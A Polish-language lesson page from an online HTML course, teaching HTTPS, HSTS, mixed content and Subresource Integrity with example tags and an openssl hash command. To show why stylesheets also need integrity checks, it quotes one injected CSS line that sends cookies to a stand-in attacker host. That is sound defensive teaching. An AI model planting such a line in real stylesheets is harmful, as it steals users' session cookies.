HTTPS i Subresource Integrity
Weryfikowanie integralności zewnętrznych zasobów za pomocą atrybutu integrity
HTTPS i Subresource Integrity to bezpłatna lekcja HTML Academy na CoddyKit. To lekcja 4 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej HTML Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs HTML Academy zawiera 4 lekcji w sumie.
Dlaczego HTTPS wszędzie
HTTPS szyfruje dane przesyłane przez sieć i uwierzytelnia serwer. Bez HTTPS osoby atakujące w tej samej sieci (Wi-Fi w kawiarni, dostawca usług internetowych, podmiot państwowy) mogą odczytać każdy bajt i wstrzyknąć złośliwą zawartość do odpowiedzi. Nowoczesne przeglądarki oznaczają strony HTTP jako „Niezabezpieczone”, a wiele interfejsów API (kamera, geolokalizacja, service workers) odmawia działania przez HTTP.
Zawartość mieszana
Ładowanie zasobów HTTP ze strony HTTPS to zawartość mieszana. Przeglądarka całkowicie blokuje aktywną zawartość mieszaną (skrypty, ramki iframe, arkusze stylów), a w przypadku pasywnej zawartości (obrazów) wyświetla ostrzeżenie. Zawsze ładuj każdy zasób przez HTTPS; używaj adresów względnych względem protokołu (//cdn.example.com) albo bezwzględnych https://.
HSTS
HTTP Strict Transport Security za pomocą nagłówka odpowiedzi Strict-Transport-Security informuje przeglądarki, aby w przyszłości odrzucały połączenia HTTP z Twoją domeną. Po zapisaniu HSTS w pamięci podręcznej osoba atakująca nie może przełączyć użytkownika na HTTP nawet wtedy, gdy ma możliwość przeprowadzenia ataku man-in-the-middle.
Dlaczego SRI
Ładowanie skryptów z zewnętrznych CDN-ów jest wygodne, ale ryzykowne — jeśli CDN zostanie przejęty, osoba atakująca może podmienić skrypt na złośliwe oprogramowanie. Subresource Integrity (SRI) sprawia, że przeglądarka weryfikuje kryptograficzny hash pliku przed jego wykonaniem i odmawia uruchomienia, jeśli hash się nie zgadza.
Atrybut integrity
Dodaj do znacznika script zakodowany w base64 hash SHA-256/384/512: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Przeglądarka oblicza hash pobranego pliku i odmawia jego uruchomienia, jeśli wartości się nie zgadzają.
<link
rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
crossorigin="anonymous">Generowanie hashy
Wygeneruj hash za pomocą openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Możesz też użyć wtyczki do narzędzia kompilacji, która automatycznie dodaje atrybut integrity. Większość CDN-ów (jsdelivr, unpkg) wyświetla znacznik SRI w gotowym do skopiowania fragmencie.
crossorigin jest wymagany
SRI wymaga, aby odpowiedź cross-origin zezwalała na sprawdzenie integralności za pomocą CORS. Dodaj crossorigin="anonymous" do znacznika i upewnij się, że CDN wysyła Access-Control-Allow-Origin. Bez tego przeglądarka odmawia weryfikacji, a zasób nie zostaje załadowany.
Wiele hashy
Atrybut integrity może zawierać wiele hashy rozdzielonych spacjami. Jest to przydatne podczas przechodzenia na nową wersję: umieść w nim hashe zarówno starej, jak i nowej wersji, a przeglądarka zaakceptuje tę, którą dostarczy CDN. Unikaj więcej niż kilku hashy, aby zachować czytelność atrybutu.
SRI dla arkuszy stylów
SRI chroni również . Przejęty plik CSS jest mniej bezpośrednio niebezpieczny niż przejęty skrypt, ale wstrzyknięte background: url("//evil/log?cookie=...") nadal może umożliwić wykradanie danych. Jeśli to możliwe, stosuj SRI do każdego zewnętrznego zasobu.
Własny hosting często wygrywa
SRI ogranicza skutki przejęcia CDN-u, ale nie rozwiązuje wszystkich problemów: zmiana hasha na CDN-ie powoduje awarię strony do czasu zaktualizowania atrybutu integrity. W przypadku krytycznych bibliotek hostuj samodzielnie sprawdzony plik — jednym działaniem eliminujesz konieczność przypinania SRI i ryzyko związane z łańcuchem dostaw.
Wydajność
SRI dodaje obliczanie hasha dla każdego zasobu — na nowoczesnym sprzęcie jest to pomijalny koszt, rzędu mikrosekund na kilobajt. Zapewniana przez nie ochrona przed atakami na łańcuch dostaw zdecydowanie przewyższa ten koszt. Przy ładowaniu zasobów z CDN-u nie ma wydajnościowego powodu, aby pomijać SRI.
Ograniczenia
SRI weryfikuje konkretne bajty — nie chroni przed dostarczaniem przez CDN innego pliku niektórym użytkownikom (selektywnym atakiem). Aby uzyskać maksymalną pewność, połącz SRI z HTTPS, HSTS, CSP i samodzielnym hostowaniem najważniejszych zasobów.
Sprawdzenie wiedzy
Przed czym chroni atrybut integrity w znaczniku script?
Podsumowanie
HTTPS szyfruje i uwierzytelnia, HSTS zapobiega atakom polegającym na obniżeniu poziomu zabezpieczeń, a SRI sprawdza, czy pliki innych firm nie zostały zmodyfikowane. Dodaj hashe integrity (wraz z crossorigin="anonymous") do każdego zewnętrznego skryptu i arkusza stylów ładowanego z CDN-u, którego nie kontrolujesz. W przypadku najważniejszych zasobów hostuj je samodzielnie — całkowicie eliminując ryzyko związane z łańcuchem dostaw.
Często zadawane pytania
Czy lekcja „HTTPS i Subresource Integrity” jest bezpłatna?
Tak — pełny tekst „HTTPS i Subresource Integrity” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu HTML Academy, przejdź na CoddyKit PRO. Kurs HTML Academy zawiera 4 lekcji w sumie.
Co nauczysz się w „HTTPS i Subresource Integrity”?
Weryfikowanie integralności zewnętrznych zasobów za pomocą atrybutu integrity Ćwiczysz HTML Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.
Czy potrzebuję doświadczenia, aby zacząć HTML Academy?
Nie wymagamy żadnego doświadczenia. HTML Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 4 z 4.
Ile czasu zajmuje lekcja „HTTPS i Subresource Integrity”?
Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.
Czy mogę pisać i uruchamiać kod w tej lekcji HTML Academy?
Tak. Każda lekcja HTML Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.
Wszystkie lekcje w tym kursie
- Content Security Policy — meta http-equiv
- XSS przez innerHTML i zapobieganie atakom
- Sandbox iframe i Permissions Policy
- HTTPS i Subresource Integrity